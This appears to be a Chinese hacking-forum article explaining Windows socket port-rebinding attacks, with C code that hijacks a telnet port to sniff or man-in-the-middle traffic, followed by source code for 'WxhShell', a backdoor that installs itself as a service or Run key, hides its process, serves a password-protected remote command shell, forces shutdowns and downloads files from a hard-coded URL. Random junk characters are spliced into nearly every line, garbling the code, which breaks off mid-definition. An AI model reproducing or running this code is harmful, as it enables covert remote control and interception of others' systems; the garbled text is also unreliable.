在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-)DxF<8B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_OK!/T*FBt %V(U]sbV saddr.sin_family = AF_INET;
8C I\NR{x8 :aD_>,n saddr.sin_addr.s_addr = htonl(INADDR_ANY);
V)ITk\ <co:z<^lqu bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*QoQ$alHH ~Yre(8+M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9q2x} Seq
^o= 这意味着什么?意味着可以进行如下的攻击:
z\K-KD{Ad WqHp23 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1([?EfC }#nd&ND 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ayN[y #5X+.!L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6g)CpZU O`;o"\P< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Z0M|Bv9_ fyq%-Tj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)t,efg `mquGk|) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tHFUV\D;, ;NGSJfn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
66po SZR@ k?_uv #include
6-\M }xq? #include
6dRvx;d #include
OZe`>Q6 #include
1.nYT* DWORD WINAPI ClientThread(LPVOID lpParam);
R!>SN0 int main()
d\tA1&k71 {
Jn20^YG WORD wVersionRequested;
3+!G9T! DWORD ret;
iq5-eJmq WSADATA wsaData;
~hT(uxU/ BOOL val;
4v`;D,dIu SOCKADDR_IN saddr;
)\{]4[9N SOCKADDR_IN scaddr;
`Zci< int err;
v\5`n@}4 SOCKET s;
[MeFj!( SOCKET sc;
JE;!~= int caddsize;
cq$_$jRx HANDLE mt;
WT1d'@LY DWORD tid;
Q6CVMYT wVersionRequested = MAKEWORD( 2, 2 );
+,eF(VS! err = WSAStartup( wVersionRequested, &wsaData );
8P}
a if ( err != 0 ) {
T t$]
[ printf("error!WSAStartup failed!\n");
<"7Wb"+ return -1;
Pe@*')o* }
>{"E~U saddr.sin_family = AF_INET;
= @lM* Uf|@h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rW*[sLl3 2Xv$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6<YAoo saddr.sin_port = htons(23);
t]ID if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0 l+Jq {
k
jx<;##R8 printf("error!socket failed!\n");
:79u2wSh return -1;
]'0}fuV }
<Q_E3lQy/ val = TRUE;
48.4GwL7 //SO_REUSEADDR选项就是可以实现端口重绑定的
1CS\1[E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N \woFrG {
I@(3~ Ab printf("error!setsockopt failed!\n");
*~zB { return -1;
$/Llzpvny }
w[u>*I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5#dJga/88 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)1!0'j99. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ZUl-&P_X )J
8mn* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4?c0rC< {
xQNGlVipZ@ ret=GetLastError();
p,3}A(> printf("error!bind failed!\n");
352RJC return -1;
Dp?lgw }
,S&p\(r. listen(s,2);
4!-/m7%eF while(1)
ah#jvp {
+*wo iSD caddsize = sizeof(scaddr);
GFvLd:p` [ //接受连接请求
[*r=u[67F sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,9$| "e& if(sc!=INVALID_SOCKET)
?',GR aD {
^g"% :4zO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZSLvr-,D if(mt==NULL)
*EFuK8 ; {
<ti,Wn. printf("Thread Creat Failed!\n");
9r 5( break;
I.U=%{. }
)c<[@::i }
QvlVjDIy CloseHandle(mt);
* b"aJ<+ }
V%voe closesocket(s);
z -'e<v;w WSACleanup();
/lc4oXG8 return 0;
t V2o9!N4 }
/#[mV(k DWORD WINAPI ClientThread(LPVOID lpParam)
NZ%v{? {
RAA,%rRhu( SOCKET ss = (SOCKET)lpParam;
43*;" w= SOCKET sc;
UW{C`^?=B unsigned char buf[4096];
jM>;l6l SOCKADDR_IN saddr;
n9V8A[QJ long num;
Wp^A. DWORD val;
af&P;#U DWORD ret;
v|nt(-JX //如果是隐藏端口应用的话,可以在此处加一些判断
<=%G%V_s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
LKg9{0Y: saddr.sin_family = AF_INET;
tYx>?~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)Dyyb1\) saddr.sin_port = htons(23);
UryHte if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f;bVzti+w {
`_OB_F printf("error!socket failed!\n");
4XSq\.@G return -1;
{]O.?Yru? }
U/-|hfh val = 100;
R+9 hog if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k>:\4uI|<\ {
&x/Z{ut ret = GetLastError();
,E2c9V' return -1;
soA] f }
zG<>-?q~' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b6@0?_n {
%z-n2% ret = GetLastError();
w=[ITQ|W% return -1;
Wli!s~c5Fo }
m(CsO|pz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(w
Q,($@ {
^j2z\yo printf("error!socket connect failed!\n");
H:mcex closesocket(sc);
Li\b,_C closesocket(ss);
jOL=vG return -1;
9jllW[`2F }
\\Nt^j3qR while(1)
0RN 7hpf&` {
J5}?<Dd: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Z*.rv t //如果是嗅探内容的话,可以再此处进行内容分析和记录
Q>TNzh //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
jV#1d8qm num = recv(ss,buf,4096,0);
WP PDvB if(num>0)
/`7G 7pQ+ send(sc,buf,num,0);
M%5_~g2n'\ else if(num==0)
M[L@ej break;
8]WcW/1r ! num = recv(sc,buf,4096,0);
s 4n<k]d if(num>0)
i1!Y{ send(ss,buf,num,0);
&0OH:P% else if(num==0)
o}yA{<" break;
|oR#j
` }
vhN6_XD closesocket(ss);
.GvZv> closesocket(sc);
{T3wOi return 0 ;
3(1UIu }
4hW:c0 tD]vx`0> LftzW{>gI" ==========================================================
jK2gc^"t y 48zsm{ 下边附上一个代码,,WXhSHELL
E>F6!qYm peVzF'F ==========================================================
#/)U0IR) r<'B\.#tp> #include "stdafx.h"
%< Jj[F %/R[cj8 #include <stdio.h>
/.(F\2+A #include <string.h>
FmQiy+.| #include <windows.h>
QG09=GQ #include <winsock2.h>
$^W|@et{
] #include <winsvc.h>
>skl-f #include <urlmon.h>
t!0 IQ9\[* /L` + #pragma comment (lib, "Ws2_32.lib")
!iUT Re #pragma comment (lib, "urlmon.lib")
6`5DR~ $"3cN& #define MAX_USER 100 // 最大客户端连接数
xC2y/? #define BUF_SOCK 200 // sock buffer
o>I,$= #define KEY_BUFF 255 // 输入 buffer
\$,8aRT>#U *?o 'sTH #define REBOOT 0 // 重启
%%lJyLq'Vk #define SHUTDOWN 1 // 关机
EH]qYF. TZarI-A #define DEF_PORT 5000 // 监听端口
+
,rl\|J% isz-MP$:K5 #define REG_LEN 16 // 注册表键长度
{-yw@Kq #define SVC_LEN 80 // NT服务名长度
YyC$\HH6 >FL%H=] // 从dll定义API
Tlk!6A: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*+ +}ll6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
![m6$G{y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ilQt`-O! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
//yz$d>JN COA>y? // wxhshell配置信息
8/-hODoT_ struct WSCFG {
>&Vz/0 int ws_port; // 监听端口
Y7 e1%,$v char ws_passstr[REG_LEN]; // 口令
JC7:0A^ int ws_autoins; // 安装标记, 1=yes 0=no
H)5" <=] char ws_regname[REG_LEN]; // 注册表键名
?F|F~A8dr char ws_svcname[REG_LEN]; // 服务名
5zH_yZ@+ char ws_svcdisp[SVC_LEN]; // 服务显示名
3/8<dc char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y5<W"[B! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:%IB34e int ws_downexe; // 下载执行标记, 1=yes 0=no
^-(DokdBn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9M@,BXOt char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@[]#[7 {Bb:\N8X };
2FEi-m} w+hpi5OH // default Wxhshell configuration
|^OK@KdL1 struct WSCFG wscfg={DEF_PORT,
`?SLp "xuhuanlingzhe",
VhU,("&pm 1,
c+:^0&l "Wxhshell",
ra^"Vr "Wxhshell",
<BK?@Xy "WxhShell Service",
g hW "Wrsky Windows CmdShell Service",
eqqnR.0 "Please Input Your Password: ",
ME*A6/h 1,
S4
s#EDs "
http://www.wrsky.com/wxhshell.exe",
</_.+c [ "Wxhshell.exe"
0Q[;{}W} };
}`]Et99Q5 lDZ~ // 消息定义模块
l_zTpyOZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Cw~fP[5XMF char *msg_ws_prompt="\n\r? for help\n\r#>";
t_ \&LMD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H"wIa8A char *msg_ws_ext="\n\rExit.";
Rp6q) char *msg_ws_end="\n\rQuit.";
=|H.r9-PK6 char *msg_ws_boot="\n\rReboot...";
}w{E<C(M char *msg_ws_poff="\n\rShutdown...";
x}#N?d char *msg_ws_down="\n\rSave to ";
2g;Id.i> i>(TPj| char *msg_ws_err="\n\rErr!";
/b410NP5 char *msg_ws_ok="\n\rOK!";
1+qP7 3a^ uz;eYD char ExeFile[MAX_PATH];
ix5<h } int nUser = 0;
,vuC0{C^ HANDLE handles[MAX_USER];
j k&\{ int OsIsNt;
@I?:x4 j)#GoU=w SERVICE_STATUS serviceStatus;
0KjCM4t SERVICE_STATUS_HANDLE hServiceStatusHandle;
D{JwZL@7k2 C4gzg // 函数声明
~Jlq.S' int Install(void);
Nf}i/ int Uninstall(void);
}Zfi/ ^0U int DownloadFile(char *sURL, SOCKET wsh);
L),bPfz int Boot(int flag);
r"dR}S.Uf void HideProc(void);
*TPWLR ^ int GetOsVer(void);
Y /l~R7 int Wxhshell(SOCKET wsl);
GF*uDJ Kp void TalkWithClient(void *cs);
9rT"_d# int CmdShell(SOCKET sock);
t"YN:y8- int StartFromService(void);
$}=r45e0K int StartWxhshell(LPSTR lpCmdLine);
M%7|7V<o)^ AsI.8" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JI/iq VOID WINAPI NTServiceHandler( DWORD fdwControl );
6#HnA"I2n N3wy][bo // 数据结构和表定义
hz5t/E SERVICE_TABLE_ENTRY DispatchTable[] =
uFFC.w {
`)Y 5L}c= {wscfg.ws_svcname, NTServiceMain},
chM-YuN| {NULL, NULL}
gOy{ RE };
o Va[ bl\;*.s' // 自我安装
:bXTV?#0
int Install(void)
j_S3<wEJ {
*E-MJCv char svExeFile[MAX_PATH];
=FfR?6 ~ HKEY key;
W3n[qVZIC strcpy(svExeFile,ExeFile);
<]*Jhnx/
\8USFN~(Y // 如果是win9x系统,修改注册表设为自启动
Is9.A_0h if(!OsIsNt) {
38%"#T3# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7?\r9bD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B)rBM RegCloseKey(key);
ovaX_d)cU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7H4kj7UK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\jAI~|3 RegCloseKey(key);
,C|aiSh0- return 0;
)))AxgM }
{*nE8+..A }
X7?j90tH }
/bmkt@$-0 else {
xM/WS':V P1<McQ // 如果是NT以上系统,安装为系统服务
c)c_Qv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
z2q!_ ~ if (schSCManager!=0)
rw?wlBEG% {
](`:<>c SC_HANDLE schService = CreateService
AG"iS<u (
pqe%tRH{ schSCManager,
FA;B:O@:' wscfg.ws_svcname,
BL%3[JQ wscfg.ws_svcdisp,
kRH
D{6mol SERVICE_ALL_ACCESS,
bnV)f< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TJuS)AZ
C SERVICE_AUTO_START,
3M>y.MS SERVICE_ERROR_NORMAL,
GqgJ ]m svExeFile,
e'|c59E NULL,
2hTsjJ!' NULL,
eQIS`T NULL,
b(> G NULL,
'Z nJdj NULL
<ILi38%Y );
jn oX%3d- if (schService!=0)
#*3 vE& p {
)4H0Bz2G CloseServiceHandle(schService);
,? Q1JZPy@ CloseServiceHandle(schSCManager);
8DFq eY0S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sR| /s3; strcat(svExeFile,wscfg.ws_svcname);
biVsbxYurq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Gi&/`vm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6L2Wv5C RegCloseKey(key);
^b*ub(5Ot return 0;
am/D$ (l1 }
2SKtdiY }
eGo$F2C6E CloseServiceHandle(schSCManager);
4ZB]n,pfT }
?yA
2N; }
_V` QvnT} WrR8TYq9D] return 1;
{(h!JeQ }
7*4i0{] <lWBhrz // 自我卸载
~u r}6T int Uninstall(void)
lLEEre {
8_3WCbe/ HKEY key;
h9rrkV9 ?l`|j* if(!OsIsNt) {
\*c=bz&l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=-G4BQ RegDeleteValue(key,wscfg.ws_regname);
OGW0lnQ/ RegCloseKey(key);
u2*."W\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$C8s RegDeleteValue(key,wscfg.ws_regname);
#vTF:r RegCloseKey(key);
6>h"Lsww return 0;
XOEf," }
>,f5 5 }
Ex{;&UWm }
fg
GTm: else {
)XYCr<s2" 8,:lw3x1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Gn<e&|4>i} if (schSCManager!=0)
pzU:AUW {
UBx0Z0Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
zZS,<Z if (schService!=0)
d)0 hAdh {
p(A[ah_ if(DeleteService(schService)!=0) {
_ sBFs.o CloseServiceHandle(schService);
"p&4Sn3T2? CloseServiceHandle(schSCManager);
Dj
w#{WR return 0;
5=;'LWXCJ }
2F:X:f CloseServiceHandle(schService);
z{qn|#} }
Bc}e ??F CloseServiceHandle(schSCManager);
M2nZ,I=l }
'A/f>W }
x^
sTGd lsVg'k/Z! return 1;
q{7+N1
" }
] .c$(. qwo{34 // 从指定url下载文件
^0/!:*? int DownloadFile(char *sURL, SOCKET wsh)
kqLpt {
'he&h4fm HRESULT hr;
x!UGLL]_M char seps[]= "/";
?)4c!3# char *token;
Q>\9/DjUp char *file;
"=0JYh)%_ char myURL[MAX_PATH];
ET|4a(x char myFILE[MAX_PATH];
K Z0%J5 r7v1q strcpy(myURL,sURL);
Ft8ii|- token=strtok(myURL,seps);
b>|d Q while(token!=NULL)
Na`vw {
q?#w%0} file=token;
z!^3%kJJ> token=strtok(NULL,seps);
T2 V(P>E }
/fxv^C82yv q)]S:$?BT GetCurrentDirectory(MAX_PATH,myFILE);
@ oFuX. strcat(myFILE, "\\");
] -G~ strcat(myFILE, file);
gR k+KGKn< send(wsh,myFILE,strlen(myFILE),0);
0f,Ii_k bT send(wsh,"...",3,0);
<:~'s]`zf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d'p@[1/ if(hr==S_OK)
nAyyjd3!S return 0;
lUHpGr|U% else
E\~!E20^ return 1;
Q_A?p$%;L It8@Cp.dU }
&P>a R?l={N=Wf // 系统电源模块
YuzgR;Z int Boot(int flag)
L%4Do*V& {
Mj:=$}rs^ HANDLE hToken;
{c=H#- A TOKEN_PRIVILEGES tkp;
&fwb?Vn4 u]t#Vf-$u if(OsIsNt) {
o&rNM5: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)n$RHt+:> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
T28Q(\C:} tkp.PrivilegeCount = 1;
C?PgC~y) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+p &$`( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$-_@MT~ if(flag==REBOOT) {
Ga$EM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@ {8xL return 0;
v ce1'aW }
3HB(rTw else {
MJ`BlE,Fmb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zY\MzhkX, return 0;
| PzXN+DW }
6s&%~6J, }
U("m}^ else {
|?<r if(flag==REBOOT) {
|dk9/xdX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
= k>ygD_ return 0;
2(NN QU@Uz }
O`='8'6zW\ else {
{@3p^b*E)1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8Sg:HU\ return 0;
WJw
%[_W }
*Duxabo? }
-wn(J5NnR )R"deb=s return 1;
!8OUH6{2 }
yI}_
U +L<x0-& // win9x进程隐藏模块
u[1'Ap void HideProc(void)
iC Z1ARi {
W8s/" h%(0| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HXRK<6k$
if ( hKernel != NULL )
MNsgD3 {
Ed&M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ewzZb*\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
mi$*,fz FreeLibrary(hKernel);
j{;IiVHnR }
/?
HLEX ryoD 1OE return;
.g95E<bd }
FR 1se `1)n2<B // 获取操作系统版本
7%Ii:5Bp int GetOsVer(void)
X4:SH>U! {
uOnyU+fZV OSVERSIONINFO winfo;
+#0,2wR# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ttC+`0+H GetVersionEx(&winfo);
~:lN("9OI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
mRC6m
K> return 1;
\j3XT} else
7Ys\=W1 return 0;
P*sb@y>}O }
)K^5+oC17 \l9S5%L9 // 客户端句柄模块
1r;.r| int Wxhshell(SOCKET wsl)
jCv%[H7 {
z9[BQ(9t SOCKET wsh;
*L~88-V^ struct sockaddr_in client;
Na2n4x! DWORD myID;
(.54`[2+L Ww $?X LF while(nUser<MAX_USER)
f8?c[%br {
>\c"U1%E int nSize=sizeof(client);
+idp1SJ4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6 N.+ if(wsh==INVALID_SOCKET) return 1;
ti^msC8e \LZVazXD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-
d(RK_ if(handles[nUser]==0)
SRf.8j closesocket(wsh);
G%RhNwm else
mBZg(TY nUser++;
|Y\BI^ }
3"J85V%h]n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
l\{{iAC]I u4p){|x7s return 0;
v22ZwP }
p[lciWEW V57tn6>b // 关闭 socket
QUU'/e2^c void CloseIt(SOCKET wsh)
&lYe {
.8.LW4-ff closesocket(wsh);
vD*9b.* nUser--;
>X!A/;$ ExitThread(0);
Swg%[r=p= }
D,Jyb0BW -YHyJs-bU // 客户端请求句柄
lGAKHCs void TalkWithClient(void *cs)
JHZ`LWq {
|ydOi& X0QLT:J b SOCKET wsh=(SOCKET)cs;
%;{Ro)03 char pwd[SVC_LEN];
$9Yk]~ char cmd[KEY_BUFF];
h16 i]V char chr[1];
$5n6C7 int i,j;
G`"
9/FI7 96$qH{]Ap while (nUser < MAX_USER) {
#+,O dNMz(~A[Y if(wscfg.ws_passstr) {
Y"&1jud4xl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t*'U|K4L/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ei[>%Ah //ZeroMemory(pwd,KEY_BUFF);
8bIwRVA2\ i=0;
2XN];,{ while(i<SVC_LEN) {
R|h(SXa BE]PM
n I // 设置超时
wkwsBi fd_set FdRead;
#^ cmh struct timeval TimeOut;
&^4 E )F FD_ZERO(&FdRead);
+P?^Yx0d FD_SET(wsh,&FdRead);
u4UQMj|q TimeOut.tv_sec=8;
AT%@T| TimeOut.tv_usec=0;
-I\Y
m_) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(ug^2WG
Yq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Htu}M8/4 oTqv$IzqP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)KPQ8y!d pwd
=chr[0]; )D1=jD(
if(chr[0]==0xd || chr[0]==0xa) { uNn]hl|x
pwd=0; .}.63T$h9
break; 5,<:|/r
} O$Z<R:vVA
i++; L93KsI
} M(_1'2
}.j09[<
// 如果是非法用户,关闭 socket RC| t-(Z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {tlt5p!4
} <!r0[bKz@
/Ky xOb)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LT ZoO9O
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y79{v nlGk
X( H-U
q*(
while(1) {
g^dPAjPQ
sZ!/uN!6
ZeroMemory(cmd,KEY_BUFF); CI };$4W~
XvIrO]F-
// 自动支持客户端 telnet标准 ED+tVXyw
j=0; k5%:L2FO
while(j<KEY_BUFF) { v)a$;P%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); },G>+ s8h
cmd[j]=chr[0]; qd7 86~
if(chr[0]==0xa || chr[0]==0xd) { $Jt+>.44
cmd[j]=0; j5yxdjx9
break; 9(PQ7}
} ATb[/=hP<R
j++; .jfkOt?2
} _
IqUp Y
Jn>6y:s
// 下载文件 Jt3]'Nr04@
if(strstr(cmd,"http://")) { N d"4*l;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cF7efs8u
if(DownloadFile(cmd,wsh)) ;P{HePs=)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _26~<gU8
else itmdY!;<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /5y*ZIq]e
} ]^63n/Twj
else { 2sOV3~bB
V>`xTQG
switch(cmd[0]) { vl'2O7
nz=X/J6
// 帮助 z&6TdwhV
case '?': { =h4*
^NJ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O#e' .n!rI
break; BWbM$@'x
} wlM"Zt
// 安装 'NJCU.lKm
case 'i': { _FET$$>z N
if(Install()) ;c-J)Ky
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@in?};
else 1Ue;hu'q:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `zjEs8`'
break; Q9`}dYf.
} ]y:ez8RFPU
// 卸载 q~^qf
case 'r': { j(`L)/|O
if(Uninstall()) h7( R/R f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p)$DpNL% p
else ZPT6
pJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kug_0+gI
break; 86s.qPB0
} "1P>,\Sjg
// 显示 wxhshell 所在路径 )rTV}Hk
case 'p': { u49v,,WGw
char svExeFile[MAX_PATH]; eN/o}<(e
strcpy(svExeFile,"\n\r"); se)vi;J7 K
strcat(svExeFile,ExeFile); q@i,$R
send(wsh,svExeFile,strlen(svExeFile),0); Q)7iu
break; SYPG.O?I
} eAkj pc
// 重启 7n-;++a5]
case 'b': {
`@acQs;0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qg \OJmv
if(Boot(REBOOT)) JY+ N+c\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ccUq!1
else { ?3Ytn+Py
closesocket(wsh); =+T$1
ExitThread(0); Qz+hS\yx
} HbRDa
break; p/4\O
} '\$2+*
// 关机 0$ -N
case 'd': { cMCGaaLU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); poqcoSL"}
if(Boot(SHUTDOWN)) &ggS!y'n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *LTFDC
else { &uh|!lD
closesocket(wsh); ;E8.,#/a
ExitThread(0); =AhXEu ^
} 6n{`t/
break; *Txt`z[|
} 9Ytf7NpR
// 获取shell !^dvtv`K
case 's': { H5f>Q0jq
CmdShell(wsh); bp06xHMu
closesocket(wsh); ohFUy}y
ExitThread(0); -I$qe Xy
break; 6gLk?^.
} $nB4Ie!WcR
// 退出 y{.s
4NT
case 'x': { %<|w:z$vp
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jl-Lz03YG
CloseIt(wsh); Pa.D+
break; }{J5)\s9
} l .8@F
// 离开 6dG:3n}
case 'q': { ##gq{hgjb$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a&6e~E$K2
closesocket(wsh); 9V]\,mD=
WSACleanup(); y#'|=0vTvP
exit(1); V^a]@GK:
break; J2"n:
} TG\3T%gH/s
} 0] 'Bd`e
} Le&SN7I
:27GqY,3sK
// 提示信息 5",@!1ju
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WUQlAsme
} YQyf:xJ
} ~kdxJP"
2|xNT9RW
return; rZ0+mS'/G
} <,%qt_
!
W}<'Y@[,
// shell模块句柄 lg)jc3
int CmdShell(SOCKET sock) 1gEeZ\B-&
{ 481SDG[b
STARTUPINFO si; dqU
bJc]
ZeroMemory(&si,sizeof(si)); ?mdgY1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a#iJXI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $
e<&7
PROCESS_INFORMATION ProcessInfo; iez@j
char cmdline[]="cmd"; -^m]Tb<u
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c$.h]&~dN
return 0; H pHXt78
} FSaCbs(
VCzmTnD
// 自身启动模式 EgAM,\
int StartFromService(void) W0n/B&C
{ s2-`}LL
typedef struct VKW9Rn9Qg
{ {&_1/
DWORD ExitStatus; ,/O,j
SRk
DWORD PebBaseAddress;
czM Thm
DWORD AffinityMask; ou;E@`h;x
DWORD BasePriority; lkNaSz[
ULONG UniqueProcessId; mM| 313
ULONG InheritedFromUniqueProcessId; 3snr-)
